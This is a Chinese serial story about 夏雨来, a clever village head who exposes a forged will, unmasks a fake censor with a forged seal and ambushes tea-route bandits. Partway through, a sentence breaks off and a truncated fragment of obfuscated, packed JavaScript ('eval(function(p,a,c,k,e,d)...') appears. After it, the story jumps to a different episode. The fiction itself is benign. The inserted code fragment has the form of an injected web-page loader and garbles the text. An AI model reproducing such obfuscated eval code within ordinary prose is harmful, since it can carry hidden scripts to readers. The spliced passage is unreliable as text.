赵家大儿子赵大宝,是个游手好闲的纨绔子弟,平时好吃懒做,还染上了赌博的恶习。小儿子赵二宝,是个老实本分的读书人,平时潜心读书,想要考取功名。赵老员外生前,非常疼爱小儿子赵二宝,对大儿子赵大宝非常失望。 赵老员外去世后,赵大宝就想独吞家产。他拿出一份遗嘱,说赵老员外把所有的家产都留给了他。赵二宝不相信,说父亲生前曾经说过,要把家产分成两份,兄弟两人各得一份。 两人争执不下,赵大宝就把赵二宝告上了县衙。县太爷审理了好几次,都没有结果。因为赵大宝拿出的遗嘱看起来是真的,上面有赵老员外的签名和手印。可赵二宝坚持说遗嘱是假的,是赵大宝伪造的。 无奈之下,县太爷只好请夏雨来帮忙。他知道,夏雨来聪明绝顶,肯定能看出遗嘱的真假。 这天,夏雨来来到了县衙。县太爷把事情的经过告诉了他,然后拿出了那份遗嘱。 夏雨来仔细看了看遗嘱,只见上面写着:“本人赵德发,年事已高,体弱多病。现将所有家产,包括宅院、田地、银两,全部留给大儿子赵大宝。望赵大宝能好好经营,光耀门楣。立遗嘱人:赵德发。见证人:李四、王五。” 遗嘱的字迹工整,签名和手印也看起来像是真的。夏雨来又问了问赵大宝和赵二宝,了解了一些情况。 赵大宝说道:“夏里正,这遗嘱是我父亲生前立下的,有见证人李四和王五作证。我父亲就是想把家产留给我,让我好好过日子。赵二宝就是嫉妒我,想要抢夺我的家产!” 赵二宝急道:“夏里正,你别听他胡说!这遗嘱是假的!我父亲生前最疼我,怎么会把所有的家产都留给赵大宝?而且,我父亲去世前几天,还跟我说过,要把家产分成两份,我们兄弟两人各得一份!” 夏雨来又问了见证人李四和王五。李四说道:“夏里正,这份遗嘱确实是赵老员外立下的,我亲眼所见,他还在上面签了名,按了手印。” 王五也附和道:“是啊,夏里正,我也亲眼所见,遗嘱是真的!” 看起来,所有的证据都对赵大宝有利。可夏雨来总觉得哪里不对劲。他心里琢磨着,赵老员外既然疼爱小儿子赵二宝,为什么会把所有的家产都留给游手好闲的大儿子赵大宝?而且,赵二宝看起来老实本分,不像是在说谎。 他决定亲自去赵家看看,也许能找到一些线索。 来到赵家宅院,夏雨来仔细观察了一番。赵家宅院很大,装修豪华,看得出来赵老员外生前非常富有。他先去了赵老员外的书房,书房里摆满了书籍和字画,收拾得很整齐。 夏雨来在书房里仔细搜查了一番,希望能找到一些蛛丝马迹。他打开书桌的抽屉,里面放着一些书信和账本。他拿起书信,仔细看了起来。 其中一封信是赵老员外写给远方朋友的,信中提到了他的两个儿子。他说大儿子赵大宝游手好闲,染上了赌博的恶习,他非常失望;小儿子赵二宝勤奋好学,他很欣慰,希望赵二宝能考取功名,光宗耀祖。他还说,等他百年之后,会把家产分成两份,兄弟两人各得一份,让他们各自好好生活。 看到这封信,夏雨来心里更加确定,那份遗嘱是假的。赵老员外根本就不可能把所有的家产都留给赵大宝。 他又在书房里找了找,发现了一个上锁的木盒。他让赵二宝找来钥匙,打开了木盒。木盒里放着一些贵重的珠宝和一份真正的遗嘱! 这份遗嘱和赵大宝拿出的遗嘱完全不同。上面写着:“本人赵德发,年事已高,恐不久于人世。现将家产分成两份,宅院、田地、银两各分一半,大儿子赵大宝、小儿子赵二宝各得一份。望兄弟两人和睦相处,互相关照,光耀门楣。立遗嘱人:赵德发。见证人:张三、刘六。” 遗嘱的字迹和赵老员外平时的字迹一致,签名和手印也都是真的。 夏雨来心里明白了,这肯定是赵大宝为了独吞家产,伪造了遗嘱,还收买了李四和王五做见证人。 他拿着真正的遗嘱,回到了县衙。县太爷和赵大宝、赵二宝都在县衙里等着。 夏雨来把真正的遗嘱拿了出来,说道:“县太爷,各位,这才是赵老员外真正的遗嘱!赵大宝拿出的遗嘱是伪造的!” 赵大宝脸色一变,大声说道:“你胡说!这遗嘱是假的!我拿出的遗嘱才是真的!” 夏雨来冷笑一声:“赵大宝,你还想狡辩?这份遗嘱是在赵老员外的书房里找到的,有他的签名和手印,还有见证人张三和刘六。而且,我还找到了赵老员外写给朋友的信,信中明确提到,他会把家产分成两份,兄弟两人各得一份。你说你的遗嘱是真的,那你能解释一下,为什么赵老员外会在信中这么说吗?” 赵大宝眼神闪烁,说不出话来。 夏雨来又说道:“还有,你的见证人李四和王五,我已经调查过了。他们都欠了你很多赌债,是你收买了他们,让他们作伪证。现在,证据确凿,你还有什么话要说?” 赵大宝知道,这次他是彻底暴露了。他双腿一软,跪在了地上:“我错了!我不该伪造遗嘱,不该想独吞家产!求县太爷和夏里正饶了我吧!” 县太爷怒喝道:“赵大宝,你真是太不像话了!为了独吞家产,竟然伪造遗嘱,收买证人,简直丧尽天良!” 他根据真正的遗嘱,将赵家的家产分成了两份,赵大宝和赵二宝各得一份。同时,他还判处赵大宝有期徒刑一年,以示惩戒。 赵二宝拿着真正的遗嘱,感激地对夏雨来说道:“夏里正,谢谢你!要是没有你,我肯定得不到属于我的家产!你真是我的大恩人!” 夏雨来笑了笑:“赵公子,不用谢我。这都是我应该做的。兄弟之间,本该和睦相处,互相体谅。希望你们以后能放下恩怨,好好经营自己的家产,不要辜负了赵老员外的期望。” 赵二宝点了点头:“夏里正,我记住了!我一定会好好读书,考取功名,光耀门楣!也会好好照顾赵大宝,等他出狱后,我们兄弟两人好好过日子。” 这件事之后,夏雨来的名声更是传遍了整个县城,甚至周边的城镇。人们都说,夏雨来是个断案如神的 “鬼才秀才”,没有他解决不了的难题。很多外地的百姓,遇到解决不了的事情,都会专程来县城找夏雨来帮忙。 夏雨来的杂货铺,也越来越热闹了。每天都有很多人来请教问题,或者来感谢他。有的人送来了自家种的瓜果蔬菜,有的人送来了手工制作的工艺品,还有的人送来了牌匾,上面写着 “为民做主”“断案如神”“鬼才秀才” 等字样。 夏雨来把这些牌匾都挂在了杂货铺的墙上,看着满墙的牌匾,他心里充满了成就感。他知道,这不仅是百姓们对他的认可,更是对他的信任和期望。他暗下决心,一定要继续为百姓们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏雨来并没有生气,他知道,对付这种人,不能硬碰硬。他必须找到证据,证明王怀安是假官。 他先去了苏府,找到了苏振邦和陆承业。他把事情的经过告诉了他们,希望他们能帮忙调查王怀安的身份。 苏振邦说道:“夏里正,这个王怀安肯定有问题。我们漕运船队经常往来于京城和各地,从来没有听说过有这么一位王御史。我们可以派人去京城打听一下,看看有没有这么一个人。” 陆承业也说道:“是啊,夏里正!我们还可以调查一下他的随从,看看他们是什么来历。说不定能找到一些线索。” 夏雨来点了点头:“好!那就麻烦你们了!另外,我还要去县衙大牢,看看那些被王怀安关押的百姓,了解一下情况。” 苏振邦和陆承业立刻派人去京城打听王怀安的身份,同时调查他的随从。夏雨来则去了县衙大牢。 在县衙大牢里,夏雨来见到了那些被关押的百姓。他们一个个面带愁容,身上还有被拷打的伤痕。 “夏里正,你可得为我们做主啊!” 一个百姓看到夏雨来,激动地说道。 夏雨来安慰道:“各位乡亲,你们放心,我一定会想办法救你们出去!这个王怀安是个假官,他迟早会被揭穿的!” 他详细询问了百姓们被关押的原因,然后又仔细观察了一下大牢的环境。他发现,大牢里的看守都非常嚣张,对百姓们非打即骂。而且,他还看到王怀安的随从经常来大牢里,向看守们下达命令。 夏雨来心里暗自盘算着,要想揭穿王怀安的真面目,必须找到他伪造官印、官服的证据。他决定晚上潜入县衙,寻找证据。 当天晚上,夏雨来换上一身夜行衣,悄悄地潜入了县衙。他先来到了王怀安的房间,房间里灯火通明,王怀安正在和几个随从喝酒吃肉。 “大人,我们这次真是发财了!这县城里的百姓真有钱!” 一个随从说道。 王怀安得意地说道:“那是!等我们搜刮够了,就离开这里,找个地方逍遥快活去!” 另一个随从说道:“大人,要是被人发现我们是假官,怎么办?” 王怀安冷笑一声:“发现又怎么样?这县太爷就是个胆小鬼,他根本不敢得罪我们!而且,我们手里有官印和官服,谁能怀疑我们?” 夏雨来躲在窗外,听到了他们的对话,心里更加确定,王怀安就是个假官。他悄悄离开了王怀安的房间,来到了县衙的书房。他知道,官印和相关的文书肯定放在书房里。 书房里没有人,夏雨来仔细搜查了一番。他在书桌的抽屉里找到了一个官印,还有一些伪造的文书。他拿起官印,仔细看了看,上面刻着 “巡按御史之印”,但字迹模糊,做工粗糙,明显是伪造的。 就在这时,书房的门突然被打开了,王怀安带着几个随从走了进来。 “夏雨来!你果然在这里!” 王怀安怒喝道,“你竟敢潜入县衙,想要偷取官印和文书!来人啊,把他抓起来!” 随从们立刻冲了上来,想要抓住夏雨来。夏雨来早有准备,他身形一闪,避开了随从们的攻击,然后一脚踹在一个随从的肚子上,把他踹倒在地。 “王怀安,你这个假官!竟然敢伪造官印,搜刮民脂民膏,残害百姓!今天我就要揭穿你的真面目!” 夏雨来怒喝道。 王怀安冷笑一声:“揭穿我的真面目?你有什么证据?就算你说我是假官,谁会相信你?” “证据就在这里!” 夏雨来举起手中的官印和文书,“这官印是伪造的,文书也是假的!你以为你能瞒得过所有人吗?” 王怀安脸色一变,他没想到夏雨来竟然找到了证据。他气急败坏地说道:“胡说!这官印和文书都是真的!你是在污蔑本御史!” 他挥了挥手,对随从们说道:“给我上!把他杀了,毁尸灭迹!” 随从们立刻冲了上来,手里拿着刀,向夏雨来砍去。夏雨来并不慌张,他凭借着高超的武功,和随从们周旋起来。他一边打,一边大喊:“王怀安是假官!他伪造官印,残害百姓!大家快来看啊!” 他的喊声惊动了县衙里的其他官员和百姓。县太爷也听到了动静,连忙带着官差们赶了过来。 看到眼前的一幕,县太爷心里明白了,王怀安果然是个假官。他立刻下令:“官差们,把这些假官和随从都抓起来!” 官差们立刻冲了上去,和王怀安的随从们打了起来。王怀安的随从虽然凶悍,但根本不是官差们的对手,很快就被制服了。 王怀安想要逃跑,夏雨来一个箭步冲了上去,一脚将他踹倒在地,然后用绳子把他绑了起来。 “王怀安,你现在还有什么话要说?” 夏雨来怒喝道。 王怀安浑身发抖,他知道,这次他是彻底完了。他哭着说道:“我错了!我不该伪造官印,不该搜刮民脂民膏!求你们饶了我吧!” 百姓们看到王怀安被抓,都非常高兴,纷纷拍手叫好:“太好了!这个贪官终于被抓了!”“夏里正真是太厉害了!为民除害!”“县太爷英明!” 县太爷对王怀安进行了严厉的审讯,王怀安如实交代了自己的罪行。原来,他是一个江湖骗子,看到夏雨来的名声很大,县城里的百姓都很富有,就动了歪心思。他伪造了官印和官服,又找了几个地痞无赖做随从,冒充巡按御史,来到县城搜刮民脂民膏。 县太爷勃然大怒,判处王怀安死刑,剥夺所有财产,他的随从也被判处了不同期限的徒刑。被关押的百姓们也被释放了,他们纷纷向夏雨来和县太爷道谢。 这件事之后,夏雨来的名声更是达到了顶峰。百姓们都说,夏雨来不仅聪明绝顶,还武功高强,是个真正的侠客。有人甚至把他的事迹编成了话本,在茶馆里传唱。话本里的夏雨来,被描绘成了一个文能断案、武能擒凶的英雄,深受百姓们的喜爱。 五、侠名远播传四方,秀才成传奇 假官被擒之后,县城里再次恢复了往日的祥和。夏雨来的杂货铺,依旧是百姓们聚集的地方。每天,都有很多人来请教问题,或者来听他讲述那些为民做主的故事。 苏振邦和陆承业的生意也越来越红火。他们在夏雨来的帮助下,不仅扩大了漕运规模,还开设了更多的商铺,成为了远近闻名的富商。他们也没有忘记夏雨来的恩情,经常帮助那些有困难的百姓,为县城的发展做出了很大的贡献。 这天,一个外地的商人来到了县城。他听说了夏雨来的事迹,特意来拜访他。 “夏里正,久仰您的大名!我是从江南来的商人,名叫沈万三。我听说您为民做主,断案如神,特意来向您请教一些问题。” 沈万三恭敬地说道。 夏雨来笑了笑:“沈老板,客气了!有什么问题,你尽管说,我一定尽力为你解答。” 沈万三说道:“夏里正,我在江南做茶叶生意。最近,我的茶叶经常被人劫走,损失了很多钱财。我找了当地的官府,可他们根本不管。我听说您很有本事,想请您帮我想想办法。” 夏雨来想了想,说道:“沈老板,你别急。茶叶被劫,肯定是有一伙强盗在作案。你能告诉我,你的茶叶是在什么地方被劫的吗?有没有看到强盗的样子?” 沈万三说道:“我的茶叶都是在运输途中被劫的,地点大多在江南和这里之间的山林里。那些强盗都蒙着脸,看不清样子,但他们都骑着马,手里拿着刀,非常凶悍。” 夏雨来点了点头:“沈老板,我知道了。你放心,我一定会帮你抓住这些强盗,追回你的损失。” 他心里盘算着,这些强盗肯定经常在山林里出没,只要设下埋伏,一定能抓住他们。 他立刻联系了苏振邦和陆承业,让他们帮忙调派一些人手。苏振邦和陆承业一听是为了抓强盗,立刻答应了。他们调派了几十名身手矫健的家丁,跟着夏雨来一起前往江南和这里之间的山林。 来到山林里,夏雨来仔细观察了一番。他发现,山林里有一条小路,是运输茶叶的必经之路。他决定在小路两旁设下埋伏,等待强盗们出现。 果然,没过多久,一群骑着马、蒙着脸的强盗就出现在了小路上。他们手里拿着刀,气势汹汹地向这边走来。 “就是他们!” 沈万三低声说道。 夏雨来示意大家不要出声,等强盗们走进埋伏圈。当强盗们走到小路中间时,夏雨来大喊一声:“动手!” 埋伏在两旁的家丁们立刻冲了出来,将强盗们包围起来。强盗们没想到会有埋伏,顿时慌了神。 “不好!有埋伏!” 强盗头子大喊一声,想要带着手下逃跑。 夏雨来身形一闪,冲到强盗头子面前,一脚将他踹下马来。然后,他拔出腰间的佩剑,和强盗们打了起来。 夏雨来的武功很高强,强盗们根本不是他的对手。没过多久,强盗们就被打得落花流水,纷纷投降。 夏雨来抓住强盗头子,怒喝道:“你们这些强盗,竟敢抢劫商旅,残害百姓!快说,你们抢来的茶叶都藏在哪里了?” 强盗头子吓得浑身发抖:“我说!我说!我们抢来的茶叶都藏在山林深处的一个山洞里!” 夏雨来让家丁们押着强盗们,跟着强盗头子来到了山洞里。山洞里果然藏着大量的茶叶,还有一些金银财宝。 沈万三看到自己的茶叶被追回,非常高兴:“夏里正,太感谢您了!要是没有您,我的损失就太大了!” 夏雨来说道:“沈老板,不用谢我。这是我应该做的。这些强盗已经被抓住了,我会把他们交给官府,让他们受到应有的惩罚。” 他让家丁们将强盗们押回县城,交给县太爷处置。县太爷对强盗们进行了严厉的审讯,判处他们有期徒刑,没收了他们的全部财产。 沈万三非常感激夏雨来,他拿出一千两银子,想要送给夏雨来作为报酬。但夏雨来拒绝了:“沈老板,你的心意我领了。我帮你抓强盗,不是为了钱,而是为了保护商旅的安全,维护地方的治安。” 沈万三更加敬佩夏雨来了:“夏里正,您真是个清官!我以后一定会多来这里做生意,也会向其他商人推荐这里。” 这件事之后,夏雨来的名声传到了江南。越来越多的商人来到县城做生意,县城的经济也越来越繁荣。 夏雨来的事迹,不仅在民间广为流传,还传到了官府。朝廷听说了夏雨来的事迹,非常赞赏他的才能和品德,想要召他入朝为官。 县太爷把这个消息告诉了夏雨来:“夏里正,朝廷想要召你入朝为官,这是一个难得的机会!你一定要珍惜啊!” 夏雨来想了想,说道:“县太爷,谢谢您的好意。但我觉得,当官并不是我想要的。我喜欢和百姓们在一起,为他们做主,为他们排忧解难。在这里,我能感受到真正的快乐和满足。” 县太爷叹了口气:“夏里正,我理解你的心情。可是,入朝为官,能有更大的平台,为更多的百姓做主啊!” 夏雨来笑了笑:“县太爷,我知道。但我觉得,无论在哪里,只要能为百姓们做点实事,就足够了。我在这里,已经习惯了和百姓们在一起的生活。我不想离开他们。” 他最终拒绝了朝廷的征召,继续留在县城里,做他的里正,经营着他的杂货铺。 百姓们听说夏雨来拒绝了入朝为官的机会,都非常感动。他们都说,夏雨来是个真正为百姓着想的好官,不愿意离开他们。 为了感谢夏雨来,百姓们特意在城隍庙前为他立了一座生祠,供奉着他的画像。每天,都有很多百姓来上香祈福,希望夏雨来能健康长寿,永远留在县城里,为他们做主。 夏雨来的故事,也成为了一段传奇,在民间广为流传。有人说,夏雨来是文曲星下凡,聪明绝顶;有人说,夏雨来是侠客转世,为民除害;还有的说,夏雨来有通天的本事,没有他解决不了的问题。 很多年以后,夏雨来已经老了,但他依然坚守在自己的岗位上,为百姓们排忧解难。他的杂货铺,依旧是县城里最热闹的地方。每天,都有很多人来请教问题,或者来听他讲述那些为民做主的故事。 而 “鬼才秀才夏雨来” 的名字,也永远铭刻在了百姓们的心中,成为了一段永恒的传奇。他的故事,被一代又一代的人传颂着,激励着更多的人向善向美,为民做主。